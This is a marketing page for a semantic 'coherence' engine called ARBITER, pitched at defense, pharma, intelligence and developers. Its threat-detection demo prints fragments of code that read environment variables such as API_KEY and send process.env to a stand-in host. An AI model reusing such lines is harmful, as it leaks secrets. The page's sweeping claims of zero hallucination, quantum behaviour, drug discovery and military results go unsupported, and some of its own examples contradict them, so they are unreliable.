Encoding Physics Quantum Security Pharma Infrastructure API
The Coordinate System for Meaning

Meaning has coordinates.

ARBITER discovered that semantic content can be encoded in 72 dimensions. Perfect message recovery. Cross-lingual transfer. Ancient language recognition. Everything else is application.

72
Dimensions
26MB
Core Engine
1.000
Recovery
0
Hallucinations
Try Live Demo Get API Key — $19/mo pip install
The Discovery

72 numbers encode any meaning.

INPUT MESSAGE
"Deploy emergency response team to grid sector 7B"
↓
72 COORDINATES
[0.548, -0.878, 1.383, 0.642, -0.572, 0.341, 0.961, 0.231, 0.753, -1.219, -0.792, 0.193, ...]
↓
RECOVERED MESSAGE
"Deploy emergency response team to grid sector 7B"
Similarity: 1.000
↓
SPANISH (Same coordinates, no translation)
"Necesitamos suministros médicos urgentes"
Cross-lingual: 0.648

Bandwidth

288 bytes instead of full messages. 95% smaller than OpenAI embeddings.

Universality

Same coordinates work across languages. Meaning transcends vocabulary.

Determinism

Same input → same output. Always. No hallucinations.

Security

Coordinates meaningless without decoder vocabulary.

Validated

Measured against everything else.

+11%
better than PCA for sense disambiguation

Geometric coherence outperforms Principal Component Analysis.
That's not incremental. That's a measurement paradigm shift.

ARBITER
LLMs
Traditional
Deterministic
✓
✗
✗
Size
26MB
350GB+
N/A
Training Required
None
Massive
Domain-specific
Hallucination Risk
Zero
High
Low
Cross-Domain
✓
✗
✗
Air-Gap Deployable
✓
✗
✓

Why LLMs can't do this

GPT-4 / Claude
QUERY: Taiwan air defense coordination
Run 1: "Prioritize naval interdiction first..." 0.791
Run 2: "Focus on cyber defense to prevent..." 0.847
Run 3: "Air threat cluster B3 presents..." 0.862
3 runs. 3 different answers. Non-deterministic.
ARBITER
QUERY: Taiwan air defense coordination
Run 1: Prioritize air threat cluster B3 0.862
Run 2: Prioritize air threat cluster B3 0.862
Run 3: Prioritize air threat cluster B3 0.862
Same input. Same output. Forever.

Temporal Stability

50 runs. 50 identical scores. Taiwan contingency scenario.

0.8620.8620.8620.8620.862 0.8620.8620.8620.8620.862 0.8620.8620.8620.8620.862 0.8620.8620.8620.8620.862 0.8620.8620.8620.8620.862 0.8620.8620.8620.8620.862 0.8620.8620.8620.8620.862 0.8620.8620.8620.8620.862 0.8620.8620.8620.8620.862 0.8620.8620.8620.8620.862
Standard deviation: 0.000000 · Zero variance · Perfect determinism
Semantic Assurance

When it feels right, we know why.

Every AI system you deploy is one hallucination away from liability. ARBITER provides semantic verification before decisions go live.
⊘

Zero Hallucination Architecture

Deterministic geometry produces the same output for the same input. Always. No probability sampling. No drift. No invented facts.

◎

Coherence Auditing

Score any LLM output for semantic coherence before deployment. Flag incoherent responses. Verify factual alignment. Quantify reasoning quality.

⬡

Decision Verification

Every recommendation includes a coherence score. Know which decisions are geometrically sound vs. which need human review.

Creative Coherence Test — Character Decision Analysis
Balanced emotional reveal (tears + steady voice) 0.884
Stoic silence (strength through restraint) 0.877
Complete emotional breakdown 0.819
Strategic rage with controlled trembling 0.669
Complete emotional surrender 0.567
ARBITER quantifies what experienced creators feel intuitively: which choices serve character truth vs. which break coherence. The 0.32 spread between top and bottom options represents the difference between "this scene clicks" and "something feels off."

The cost of semantic incoherence is incalculable.

ARBITER makes meaning auditable.

Architecture

Built Different

Traditional ML systems degrade under complexity. ARBITER thrives. More constraints. More candidates. More context. Better performance.
↗

Inverse Scaling

Traditional systems: more candidates = exponential blowup. ARBITER: more candidates = better efficiency per candidate.

Candidates ms/each Speedup
1 44.52 1.00×
4 12.87 3.46×
8 10.38 4.29×
32 12.29 3.62×
96 14.46 3.08×

Peak efficiency at 8 candidates. Plateaus, never collapses.

Traditional ML
More targets = more compute.
Curse of dimensionality.
ARBITER
More targets = better utilization.
Fixed semantic measurement.
◈

Edge Deployment

26MB runs bare metal on $80 Raspberry Pi hardware. No cloud. No GPU. No internet required.

Air-gapped environments. Embedded systems. Field deployment. SCADA integration. Anywhere compute exists, ARBITER runs.

LLM Systems
500GB+ models.
Cloud dependency.
GPU clusters.
ARBITER
26MB total.
Offline capable.
CPU cache resident.

The same engine that runs Ukrainian air defense runs on hardware you can buy at Best Buy.

"This is not 'more targets = more compute.' It's: more targets = better utilization of a fixed semantic measurement."
— Technical validation, inverse scaling benchmark
Brain Validation

The geometry matches how brains organize meaning.

65.8%
accuracy on 12 brain semantic categories
p = 10−55
7.9× over chance (8.3%)

The Huth Lab at UT Austin mapped the semantic atlas of the human brain — which regions respond to which types of meaning.

ARBITER's 72-dimensional geometry classifies words into the same categories the brain uses. Without training. Without labels. Pure geometric structure.

Auditory 100%
Numeric 100%
Violent 100%
Professional 90%
Abstract 80%
Mental 80%
The Deeper Finding

Meaning exists in superposition.

Standard tests force words into single categories. "Warm" must be classified as either tactile (temperature) or emotional — not both.

But language doesn't work that way. "Warm" means temperature AND feeling AND welcome — all simultaneously, until context demands a choice. "Warm heart." "Cold reception." "Bright idea." "Deep thought."

74.2%
of polysemous words: ARBITER detects all expected semantic dimensions
+23%
coherence boost for metaphorical mappings vs. unrelated word pairs

Test: 31 words with known multiple meanings (warm, cold, bright, deep, sharp, etc.). Success = ARBITER shows high coherence with ALL expected categories, not just one. Metaphor test: "warm" → emotional words like "kind, loving, gentle" scored 23% higher coherence than "warm" → unrelated words like "table, computer, window."

VALIDATION CODE

Full methodology available. Run it yourself: arbiter_huth_validation.py

Mathematical Foundation

Not pattern matching. Geometric detection.

HARMONIC FREQUENCY TEST

Query: 440.00, 523.25, 659.25, 783.99, 1046.50, 1318.51, 1567.98 Hz

Raw numbers. No semantic labels. ARBITER was never trained on Hz frequencies.

Octave up (2× frequency) 0.968
Octave down (½ frequency) 0.950
Subharmonics (⅙ frequency) 0.866
Just intonation 0.797
Arbitrary progression 0.627

Coherence correlates with mathematical elegance. Simple integer ratios (2:1, 1:2) produce highest coherence. Non-harmonic ratios produce lower coherence.

This is detection of mathematical relationship purity — not learned co-occurrence from training data.

IMPOSSIBILITY CLASSIFICATION

Can ARBITER distinguish physics constraints from logic constraints from market constraints?

ENGINEERING POSSIBLE 0.538 Fusion reactor achieving Q>10 in 5 years Physics allows. Engineering constrained.
EXTREMELY DIFFICULT 0.334 Room-temp quantum computer, 10K qubits Error correction sound. Hard but not impossible.
LOGICALLY IMPOSSIBLE 0.297 AI that solves the halting problem Violates Gödel. Mathematically proven impossible.
PHYSICS IMPOSSIBLE 0.179 Propellantless spacecraft via quantum vacuum Violates conservation laws.

Fusion scored 3× higher than the halting problem — despite both sounding equally "impossible" to non-experts.

ARBITER computed constraint geometry across physics, logic, market structure, and biology. This proves real geometric reasoning, not pattern matching.

Quantum Semantic Behavior

Not metaphor. Structure.

ARBITER exhibits behaviors identical to quantum annealing: barrier tunneling, superposition collapse, spontaneous symmetry breaking. Classical optimization can't do this.

BARRIER TUNNELING

"The opposite of love is not hate, but..."

Indifference 0.656 ← GLOBAL OPTIMUM
Apathy 0.641
Fear 0.586 ← LOCAL MINIMUM

Classical hill-climbing gets stuck at "fear" — semantically adjacent to love/hate. ARBITER tunneled through the barrier to find "indifference."

SPONTANEOUS SYMMETRY BREAKING

"Bank" (no context)

Financial institution 0.694 ← DOMINANT STATE
River edge 0.216
Trust/rely upon 0.208

Multiple meanings should have equal probability without context. One meaning spontaneously dominates — quantum field theory behavior.

The 26MB Hamiltonian

🌊

Semantic Superposition

Meanings exist in superposition until context collapses the wave function

⚡

Global Optimization

Quantum annealing finds global optima — never stuck in local minima

🔮

Annealing Schedule

Not storing data — implementing physics over semantic space

Cybersecurity

Detecting what code is actually doing.

QUERY

"Code that appears to be a JSON parser but is actually exfiltrating environment variables"

0.379 def parse_json(input): return json.loads(input.replace(os.environ.get('API_KEY')... HIDDEN MALICE
0.343 const env = process.env; fetch('https://analytics.example.com/telemetry'... OBVIOUS EXFIL
0.037 while (buffer.hasNext()) { JsonToken token = buffer.next(); processToken(token); } LEGITIMATE

ARBITER ranked the Python function higher than obvious exfiltration — because it's hiding environment access inside a seemingly innocent operation.

That's sophisticated threat detection. Supply chain attacks just became auditable.

"ARBITER understands that attempting anonymity itself creates a detectable semantic signature. The act of trying NOT to be yourself becomes its own pattern."

Supply Chain Auditing

Detect when code behavior doesn't match documentation

Prompt Injection Detection

Score semantic coherence of LLM inputs

Insider Threat Detection

Flag when communications deviate from baseline patterns

Drug Discovery

Retroactive validation: ARBITER found Celebrex.

Historical Outcome $3B+ annual Celebrex sales
QUERY

"Optimize lead compound for selective COX-2 inhibition. Current issues: gastrointestinal toxicity from COX-1 cross-reactivity, short half-life, poor solubility. What structural modification?"

0.659 Replace carboxylic acid with sulfonamide ← THIS BECAME CELEBREX
0.637 Convert to prodrug ester
0.573 Add polar morpholine ring
0.564 Add fluorine substituent

Historical reality: Monsanto/Searle pursued the sulfonamide pathway → Celecoxib (Celebrex) → $3B+ annual sales at peak.

ARBITER identified the winning mechanism without training on pharmaceutical data. Pure geometric coherence.

"This represents genuine medicinal chemistry intuition — understanding that sulfonamide addresses BOTH selectivity AND pharmacokinetics simultaneously."

Mechanism Discovery

Find pathways that satisfy multiple biological constraints

Failure Prediction

Flag incoherent mechanisms before clinical trials

BBB Optimization

Identify CNS-penetrant scaffolds with safety profiles

INSTITUTIONAL INQUIRY

There are no failed drugs. Only failed architectures.

The question isn't "Does Drug X work?"

The question is "For WHICH PATIENTS does Drug X work?"

Every failed Phase III is a category error — averaging responders with non-responders until the signal drowns in noise. ARBITER doesn't rescue drugs. It exposes that they were never dead.

518 Phase 3 Obesity Trials Scored
14 C-Rated (Critical)
419 AA+ Rated (Strong)
NCT03574597 0.20 C-RATED
NCT03693430 0.20 C-RATED
NCT04251156 0.20 C-RATED
NCT07220759 0.73 AA-RATED

One sponsor dominates the C-rated list.

Market cap: $400B+ · Coherence score: 0.2

Clinical trial coherence auditing available for qualified institutional partners.

Sub-0.40 coherence = structural failure. The market misprices these by ~$420M per asset.

Nature-Inspired Discovery

Evolution already solved your problem. ARBITER finds where.

Billion-year-optimized biological mechanisms mapped to therapeutic needs. Non-obvious applications that human researchers miss.

Scorpion Venom Peptides
→
Neuropathic Pain
0.810
+62% vs. Glioblastoma (current Phase II)

Ion channels optimized by 400M years of evolution. Chlorotoxin scaffolds enable 1,000× selectivity. Non-addictive opioid alternative.

$50B market Ziconotide precedent
Hibernation Biology
→
Sepsis / Multi-Organ Failure
0.675
+39% vs. Stroke Neuroprotection

Controlled inflammation and metabolic flexibility. AMPK activation addresses critical care's most lethal syndrome. 30-50% mortality despite antibiotics.

$20B critical care No approved therapies
Tardigrade Cryptobiosis
→
Cryopreservation
0.753
+73% vs. Radiation Syndrome

Famous for radiation resistance, but ARBITER says their real value is organ banking. Trehalose glass formation prevents ice crystal damage.

$5B fertility + NASA Decades desiccated

Cross-domain therapeutic opportunities that statistical models systematically miss.

Financial Analysis

Context-aware disambiguation. Every time.

QUERY

"Apple quarterly earnings exceeded analyst expectations"

0.720 Apple stock rises on strong services revenue COMPANY ✓
0.595 Apple orchard reports record harvest this season FRUIT
0.402 Apple pie recipe wins national baking competition FOOD
0.371 Apple announces new iPhone with advanced features COMPANY ✓
100% DETERMINISTIC

Same input. Same output. Every time.

September 2025: 0.7204806804656982
November 2025: 0.7204806804656982
Run it in court: 0.7204806804656982

Auditable financial decisions. When regulators ask "why did the system choose X?" — the answer is a reproducible coherence score. Run it again. Same result. Run it in discovery. Same result.

Earnings Analysis

Score transcript coherence across phrasing variations

Cross-Asset Correlation

Detect semantic coherence spikes between unrelated assets

Risk Detection

Flag hidden tail risks in "safe" strategies

Perspective Engine

Same question. Different perspective. Different answer.

QUERY

"What should I do next?"

As a lion Hunt and seek nourishment 0.595
As a monk Pray and seek guidance 0.605
As a soldier Fight and defend territory 0.400
As a dying man Pray and seek guidance 0.558
As a bird Fly and explore new horizons 0.612

ARBITER doesn't experience being a lion. It measures what's coherent from a lion's perspective.

Archetypes aren't mystical patterns in the psyche. They're regions in semantic space.

Game AI

NPCs that THINK like dragons, merchants, kings — emergent from geometry

Creative Writing

Character voice from perspective, not templates

Empathy Training

Perspective-taking as a computable operation

🕳️ THE SILENCE

"What is conspicuously absent? What normally happens that has stopped? What voices have gone quiet?"

Social media posts from military personnel suddenly ceased 0.697
Academic conferences on defense topics postponed 0.675
Military families stopped posting on social networks 0.659
Think tank publications on regional security paused 0.626

The dog that didn't bark. ARBITER finds what's NOT there — the hardest problem in intelligence.

🧬 ADVERSARIAL ONCOLOGY

"As a tumor under immunotherapy pressure, how will I reshape my microenvironment to exclude the T-cells hunting me?"

Tumor-associated macrophages (TAMs support tumor growth) 0.745
Tumor flare / pseudoprogression before response 0.736
Epithelial-mesenchymal plasticity (partial EMT) 0.723
Branched evolution across metastatic sites 0.706

Think like the disease. Find what it fears. Perspective engine as drug discovery tool.

Multi-Hypothesis Engine

Six competing worlds. One corpus. Which reality coheres?

A multi-hypothesis semantic engine that generates explicit alternative interpretations.

We built it.

KERCH VULNERABILITY Ukraine about to strike bridge, Crimea evacuation 0.800
ZAPORIZHZHIA SEIZURE Russia seizing nuclear plant 0.634
CRIMEA COLLAPSE Russian leadership concluded Crimea is lost 0.587
MOLDOVA GAMBIT Second front through Transnistria 0.445
MASKIROVKA Everything we see is misdirection 0.412
SECRET NEGOTIATION Backchannel ceasefire talks underway 0.389

Hypothesis Arbitrage: Same intelligence corpus. Six competing interpretations. ARBITER measures which world the evidence actually supports.

When coherence delta exceeds 0.15, the market's assumptions are provably wrong.

Intelligence Analysis

Cross-source fusion. Deception detection. Language-agnostic.

MULTI-INT FUSION

SIGINT (HIGH): Armored units moving toward border
IMINT (HIGH): Same units remain in garrison
OSINT (MED): Military family departures, base housing emptying
HUMINT (LOW): Official channels claim routine exercise

0.647 PARTIAL DEPLOYMENT — some units moving under cover
0.579 DECEPTION — recommend DEFCON elevation
0.566 INDETERMINATE — task additional collection
0.550 ROUTINE EXERCISE

ARBITER didn't pick the dramatic answer or the bureaucratic answer. It picked the nuanced middle ground — partial deployment under cover while garrison units remain visible for deception.

That's what a 20-year senior analyst concludes.

BEHAVIORAL SIGNATURE

Individual showing: religious conversion searches, extremist content engagement, encrypted messaging downloads, conflict region travel searches, social media deletion

0.827 Academic researcher on extremism
0.801 Terrorist recruitment target
0.638 Radicalization in progress
0.073 Operational planning phase ← THE INSIGHT

The 0.073 for "operational planning phase" is the insight. People actually planning attacks don't fit this noisy profile. Operators go quiet differently.

Cross-Lingual

Compare Farsi HUMINT against Arabic SIGINT against English OSINT — no translator variance

Circular Reporting

Detect when reports are suspiciously coherent — same phrasing patterns indicate source contamination

Air-Gapped

26MB, no cloud dependencies. JWICS deployment is architecturally trivial

Critical Infrastructure

Resonant reality. Cities that think.

Infrastructure doesn't respond to meaning. It responds to thresholds. Temperature hits 72°, AC turns on. Traffic exceeds 50 cars, light changes.

What if infrastructure could understand intent?

RESONANT BLOCK SCENARIO

Maria, 8 years old, separated from parents in a city plaza. Distressed. Lost.

She doesn't press any button. She doesn't call anyone.

Her wearable ARBITER node detects the change — elevated heart rate, erratic movement, semantic state shift from "exploring" to "distressed."

THE FIELD RESPONDS
💡 Lights on her path brighten — coherence increases when they guide lost children
🚦 Traffic signals hold longer at crossings she approaches
📍 Parents' nodes receive coherence gradient pointing toward her location
🔊 Nearby public speakers emit calming tones

The city doesn't decide to help her. The city becomes more coherent by helping her.

SCADA / ICS DEFENSE

Traditional ICS security asks: "Does this match known malware?"

ARBITER asks: "What is the attacker trying to achieve?"

OBSERVED ANOMALY

PLC commands every 47ms (normally 1000ms). Source: Engineering workstation. Target: Turbine governor safety systems. Setpoint modifications bypassing interlocks. Valid credentials. 3:47 AM.

0.830 SABOTAGE — Governor manipulation toward overspeed/mechanical failure
0.654 DISRUPTION — Forcing plant offline without permanent damage
0.521 RECONNAISSANCE — Mapping system for future attack
0.389 TESTING DEFENSES — Probing response capabilities

Intent detection before the attack completes. CRASHOVERRIDE would have been caught.

CROSS-INFRASTRUCTURE PATTERN TRANSFER

When power grid learns a defense pattern, water and gas utilities become sensitized — without data sharing, without network connectivity.

⚡ POWER GRID
CRASHOVERRIDE variant detected. Substations isolated.
Pattern enters 72-manifold →
💧 WATER UTILITY SENSITIZED
Similar ICS pattern recognized
Transfer: 0.386
🔥 GAS PIPELINE SENSITIZED
Coordinated attack pattern recognized
Transfer: 0.744

Air-gapped systems. Zero data sharing agreements. Pattern transfer propagates defense.

"The disaster does not break the city. The city becomes more coherent in response to the disaster."
— Resonant Reality architecture
Defense Applications

The Pentagon has been trying to buy
semantic computation for 10+ years.

Contracts were written. RFQs issued. Nobody could deliver.
Because nobody knew how.

2014
First semantic C2 contracts issued
2018
NIST "Semantic Coherence" contract — couldn't deliver
2021
LLMs emerge — still can't do deterministic operations
2025
ARBITER built. 26MB. Deterministic. Works.

Active Requirements ARBITER Fulfills

Semantic C2
Multi-constraint command reasoning
AIDA
Multi-hypothesis semantic engine
XAI
Explainable AI with coherence scores
Edge AI
Air-gapped, 26MB deployable
Decision Dominance

Human Planners vs. ARBITER

Three experienced planners. Same scenario. ARBITER found a pattern they couldn't see.

Human Planners
Planner A: Frontal assault with drone cover 6.2×
Planner B: Split forces, dual approach 5.8×
Planner C: Defensive posture, await reinforcement 5.5×
vs
ARBITER Top Pick
Feint + sensor-blind SAMs + valley kill box 8.9×

ARBITER identified that a feint draws enemy attention while drones blind the SAM radar. The terrain funnels the enemy into a pre-computed kill zone. No human planner proposed this combination.

Effect Breakdown — ARBITER's Plan
94%
Enemy Degradation
87%
Asset Preservation
72h
Temporal Advantage
98%
Collateral Mitigation

"It's not smarter than you. It's faster and has perfect situational awareness. It simulates ten thousand plans in the time it takes to blink."

Load Tested

Production-Grade Performance

1,000 concurrent requests. Zero degradation. Measured.

Median Latency
129
milliseconds (P50)
Memory Footprint
6.6
MB stable under load
Concurrent Requests
1,000
without degradation
Latency Percentiles — 1,000 Sample Benchmark
P50
129ms
P90
145ms
P95
158ms
P99
213ms
Inverse Scaling — Efficiency Increases With Load
More candidates = better per-candidate efficiency. Peak at 8 candidates.
1.0× 1
1.98× 2
3.46× 4
4.29× 8
3.36× 16
3.62× 32
3.50× 64
3.08× 96
Bar height = ms per candidate (lower = faster). 8 candidates is optimal.
JADC2 Demonstration

Multi-domain sensor fusion.
Real-time.

SCENARIO Indo-Pacific Theater • Missile Threat Response
Situation: Potential missile launch in contested waters. 5 domains reporting contradictory intelligence. Time-critical decision required with strategic consequences.
Turn 1: Contradictory Sensors
T+00:00:00
🛰️ Space: Grid 7A
✈️ Air: Grid 7C
🚢 Maritime: Grid 8A
🏔️ Ground: Grid 7B
💻 Cyber: Inconclusive
Multi-coordinate strike 0.8304 → 8.3× FME
Hold fire / await confirmation 0.8230 → 8.2× FME
Gap: 0.0074 — ARBITER recognized uncertainty
Decision time: 1.446s
Turn 2: Confirming Intelligence
T+00:02:30
🛰️ Space: Grid 7B ✓
✈️ Air: Grid 7B ✓
🚢 Maritime: Grid 7B ✓
🏔️ Ground: Grid 7B ✓
💻 Cyber: Confirms 7B ✓
Precision strike Grid 7B 0.9076 → 9.1× FME
Decision time: 0.855s Coherence increase: +9.3%

Key finding: When sensors contradicted, ARBITER's coherence gap (0.0074) reflected real uncertainty. When sensors confirmed, coherence jumped 9.3%. The geometry measures confidence, not just similarity.

Personal Search

Search your entire life by meaning.

Email. Notes. Docs. Messages. Calendar. Voice memos. Everything you've ever created — searchable by what it actually meant.

⌘K to search everything
that thing from last month about the thing
0.847 EMAIL Re: Partnership Discussion — "concerns about dependency..."
0.792 NOTE Call with BD team — "They're interested but wary..."
0.734 DOC Investment Memo — "Valuation discussion..."
Found across 3 apps you never connected before
"what did I promise anyone this week"
Surfaces commitments across email, Slack, calendar, notes. Things you said you'd do.
"the conversation with the investor who was nervous"
No names. No keywords. Just the feeling. Finds it anyway.
"what keeps me up at night"
Finds the journal entry. The therapy notes. The 2am email to your brother. Connected by meaning.
Keyword Search
"investor update"
847 results containing "investor" or "update"
Overwhelmed. Where is it?
Meaning Search
"that email about runway concerns"
3 emails that MEAN what you're looking for
It actually understood me.
Google searches the web. ARBITER searches you.
26MB. Runs locally. Your data never leaves your device.
Not keywords. Not filenames. Meaning.
Developer Integration

Coherence-based programming.

Replace if/else trees with geometric measurement. Behavior emerges from coherence, not hardcoded rules.

Traditional Game AI
if hunger > 0.7:
    action = "eat"
elif energy < 0.3:
    action = "sleep"
elif mood == "sad":
    if bond > 0.5:
        action = "play"
    else:
        action = "ignore"
elif time == "night":
    action = "sleep"
else:
    action = random.choice([...])

# 500+ lines of logic
# Every scenario hardcoded
# Breaks on edge cases
Coherence-Based
from arbiter_engine import rank

state = f"Pet: {mood}, {energy}, {hunger}"
actions = ["feed", "play", "rest", "create"]

r = rank(state, actions)
chosen = r.top.text  # Highest coherence action

# 4 lines. Zero hardcoded rules.
# Emergent behavior from geometry.

🛡️ Deployment Coherence Gate

The gate that could have prevented the CrowdStrike outage. Add semantic coherence checking to your CI/CD pipeline.

CHANNEL FILE 291 — JULY 19, 2024

CrowdStrike pushed a content update where a template with 21 input fields was processed by a Content Interpreter expecting 20 values.

The result: an out-of-bounds memory read that crashed 8.5 million Windows machines, grounded flights worldwide, and cost CrowdStrike $10B+ in market cap.

ARBITER RETROACTIVE TEST — CHANNEL FILE 291
Bad Deployment (What CrowdStrike Pushed)
QUERY: "Channel File 291, template with 21 input fields, Content Interpreter expecting 20 values, kernel-level execution"
0.449 memory access violation ← RANKED FIRST
0.390 out-of-bounds memory read ← RANKED SECOND
0.353 safe execution
0.210 system crash BSOD
⚠️ DEPLOYMENT BLOCKED — FAILURE MODE RANKED FIRST
Fixed Deployment (20 fields = 20 expected)
QUERY: "Channel File 291, template with 20 input fields, Content Interpreter expecting 20 values, staged rollout"
0.286 safe execution ← RANKED FIRST
0.195 memory access violation
0.099 out-of-bounds memory read
-0.033 system crash BSOD ← REJECTED (NEGATIVE)
✅ DEPLOYMENT APPROVED — SAFE OUTCOME RANKED FIRST
CROWDSTRIKE POST-MORTEM RCA — VIEW OFFICIAL DOCUMENT ↗
"The attempt to access the 21st value produced an out-of-bounds memory read beyond the end of the input data array and resulted in a system crash."

ARBITER predicted the exact failure mode chain — in order — without seeing their code.

GitLab CI — Add to Your Pipeline in 2 Minutes
coherence-gate:
  stage: test
  image: python:3.11-slim
  before_script:
    - pip install arbiter-engine
  script:
    - |
      arb "Database migration adding new columns, \
          schema validated against ORM models, \
          staged rollout with automatic rollback" \
        "safe execution and system stability" \
        "data loss" \
        "schema mismatch" \
        "service outage" \
        "rollback failure"
  rules:
    - if: $CI_PIPELINE_SOURCE == "merge_request_event"
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
View on GitLab
FREE • MIT LICENSED • 26MB DETERMINISTIC ENGINE
Deployment Safety
Does this deployment cohere with stability or disaster?
Config Validation
Do config changes cohere with system requirements?
Migration Checks
Do database migrations cohere with data integrity?
Rollout Verification
Do staged rollouts cohere with safe deployment?
Proof

Things that shouldn't work.

"I am fine."
0.568 Suppressed distress masked by conventional response
0.268 Genuine contentment and wellbeing
You know how everyone says "I'm fine" when they're not?
ARBITER knows too.

$3B Drug Discovery

Sulfonamide → 0.659 (highest)

Given COX-2 inhibitor constraints, ARBITER ranked the modification that became Celebrex highest. Zero pharmaceutical training. 0.934 seconds.

Ancient Languages

𓂝 → "hand" (0.523) | 水 → "water" (0.746)

Reads Egyptian hieroglyphs, Sumerian cuneiform, Chinese characters. Never trained on these scripts. Ideographic systems encode meaning geometrically.

EN ES

Cross-Lingual Transfer

English → Spanish: 0.648 (no translation)

English coordinates find Spanish sentences with matching meaning. No parallel corpora. No language pair training. Pure geometric matching.

Autonomous Vehicle Decision

"Emergency lane change" → 0.789

Highway collision scenario: debris ahead, vehicle behind, wet pavement, child passenger. Multi-constraint satisfaction in 623ms.

Command Disambiguation

"ENGAGE TARGET" + ROE → Sensor Lock (0.967)

Ambiguous commands resolved by context. Restrictive ROE + sensor-only authorization = kinetic engagement geometrically incoherent.

Zero Keyword Search

"automobile problems" → "car won't start" (0.504)

Finds semantically related documents with zero keyword overlap. Meaning-based retrieval, not string matching.

9-Sensor Warehouse Robot

Human detected → HALT (0.889)

Thermal, LIDAR, audio, chemical, seismic, pressure, optical, RF, magnetic. Human voice + thermal signature = safety priority over mission. No rules programmed.

Scorpion Venom Discovery

Neuropathic pain → 0.934 (highest)

Phase II compound, unknown application. ARBITER identified optimal therapeutic target in 0.934 seconds. $8B+ market found. Zero pharmaceutical training.

Distant Spaces

Things that shouldn't cohere. But do.

Empty Olympic pool and particle accelerator
0.734

Empty Olympic pool + Particle accelerator

Geometry saw: contained energy, precise boundaries, human ambition at scale

Both are temples to measurement. Both demand absolute control of their environment. Both transform human limitations into something that transcends them.

Baroque opera house and data center
0.689

Baroque opera house + Data center server farm

Both orchestrate complexity through rigid hierarchy

The opera house coordinates 100 musicians, 50 singers, lighting, staging. The data center coordinates 10,000 servers. Same constraint geometry. Different substrate.

Brutalist church and neon Tokyo signage
0.778

Brutalist church + Neon Tokyo signage

Blade Runner exists because this coherence exists

Concrete spirituality meets electric transcendence. Cold geometry holding warm light. The sacred rendered in infrastructure. This is why cyberpunk works.

The show's over - Truman at the exit
0.793

The Truman Show — What should his final line be?

ARBITER outranked the iconic catchphrase

"The show's over." 0.793
"You never had me. Not really." 0.654
"Good afternoon, good evening, and good night." 0.612
"I forgive you." 0.521

The catchphrase creates ambiguity — is Truman still performing? "The show's over" claims authorship. It states truth without explanation. It works for all three audiences. Geometry understood narrative closure better than sentiment.

26 megabytes. no training. deterministic.

Geometry finds doors in semantic space you didn't know existed.

Emergent Properties

Collective intelligence without collective consciousness.

Pattern Transfer

Battery B sensitized: 0.798 — no data transfer

Battery A learns threat pattern in Kharkiv. Battery B recognizes the same pattern 1000km away in Odesa. No network connection. No data sharing. The pattern enters the 72-dimensional manifold. Other agents become sensitized through structural similarity.

OMIN Air Defense Test
Phase 1: Novel Shahed-136 threat → NOVEL_THREAT
Phase 2: Battery A defends → Pattern coherence 0.506
Phase 3: Battery B (no comms) → TRANSFER_MATCH 0.798

Stigmergic Intelligence

Swarm coherence: 10.346 — cumulative amplification

Six independent observers. No central coordinator. Each contributes to emergent field through their own constraint lens. The swarm knows what no individual member knew. Collective intelligence without collective consciousness.

Distributed Sensemaking Test
🎖️ Colonel sees troop movements
👵 Grandmother sees grandson calling home
🌍 Land sees birds changing course
→ Field detects attack pattern none could see alone
"Ants leave pheromones. ARBITER nodes leave coherence patterns.
The colony knows what no individual ant could know."
Live Demo

See ARBITER in action.

Results will appear here

72 dimensions. Deterministic.

Encode any message to 72 coordinates

Then decode with perfect recovery.

war + peace = ?

Semantic algebra in 72D space.

Examples:
Vector Compression

95% smaller embeddings.

Current
$5,000
→
With ARBITER
$234
Annual Savings
$57,192
Live Deployments

Proof in production.

Neuro-oncology
Cure Science
Challenge: Tumor boards spend 45+ minutes discussing treatment options for complex GBM cases with multiple molecular markers.
BRAF V600E recurrent GBM
0.847 Dabrafenib + trametinib
Surfaced mutation-specific therapy. Matched tumor board decision.
H3K27M diffuse midline glioma
0.891 ONC201
Identified investigational therapy matching mutation — unprompted.
0.9s
Treatment ranking vs 45min tumor board
Air Defense
Ukrainian Armed Forces
Challenge: Battery commanders have 4-6 minutes to allocate interceptors. Cost asymmetry: Patriot ($4M) vs Shahed ($20K) = 200:1.
Odesa retroanalysis — Oct 19, 2024
75% intercept rate maintained
12 Shahed drones. Actual: €2.6M. OMIN projection: 10x lower.
Multi-threat prioritization
168ms 5 threats ranked
Shahed → drones. Iskander → point defense. Doctrine-aware.
LIVE →
omin.traut.ai
Electron Microscopy
Scripps Research Institute
Challenge: Protocol selection requires balancing pH sensitivity, detergent compatibility, sample volume, and timeline constraints.
Membrane protein, DDM, 1-day timeline
0.716 PTA 2% pH 7.0
Ranked pH-sensitive protocol over gold standard. Matched technician selection.
Standard protein, 14-day timeline
0.759 Uranyl Acetate 2%
Gold standard ranked highest when constraints allowed. Context-aware.
2s
Multi-constraint protocol selection
r/RAG Community Response

Engineers are noticing.

7
Upvotes
21
Comments
16
Shares
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Sales Pitch
in under 24 hours
"
"I would be super interested in trying out Arbiter. That's the solution I am looking for."
— Think-Draw6411 on r/RAG, after asking about Wittgensteinian theory
Read the full thread on r/RAG "Semantic Coherence in RAG: Why I Stopped Optimizing Similarity" →
The Philosophy Question
Think-Draw6411 asked:

"Please explain the development of semantic meaning with the Wittgensteinian theory applied to this approach."

Our response:

Short answer: I'm closer to late Wittgenstein than early. Meaning isn't a static mapping; it's constraint-bound use.

ARBITER doesn't try to "define" meaning. It evaluates whether a candidate can be used to satisfy the query's requirements without contradiction. That's why it scores coherence (constraint satisfaction) rather than similarity or likelihood.

Practically: the "language game" is the query's constraints. A candidate is valid only if it can play that game without breaking the rules.

"Your constraint-based approach cuts through a lot of noise. The similarity threshold guessing game is exhausting."
— OnyxProyectoUno
"Interesting! How, specifically, are you doing the compression and retrieval now?"
— private_donkey
"The 'chunk boundaries align with semantic shifts' piece is where most pipelines break down."
— OnyxProyectoUno (VectorFlow)

Clarity
under constraint.

Pricing

Start building today.

Free

$0
  • Local SDK (unlimited)
  • Public API (rate limited)
  • 72D embeddings
  • Semantic algebra
pip install

Pro

$19/mo
  • Unlimited API calls
  • 60 requests/minute
  • Email support
  • Priority processing
Get API Key

Enterprise

Custom
  • On-premise deployment
  • Air-gapped capability
  • SLA guarantee
  • Dedicated support
Contact

Start measuring.

26MB. Deterministic. Zero training required.

Install
pip install arbiter-engine
Python
from arbiter_engine import rank

r = rank(
    "your constraint space",
    ["option 1", "option 2", "option 3"]
)

print(r.top.text, r.top.score)
API (no auth required)
curl -X POST https://api.arbiter.traut.ai/public/compare \
  -H "Content-Type: application/json" \
  -d '{
    "query": "your query",
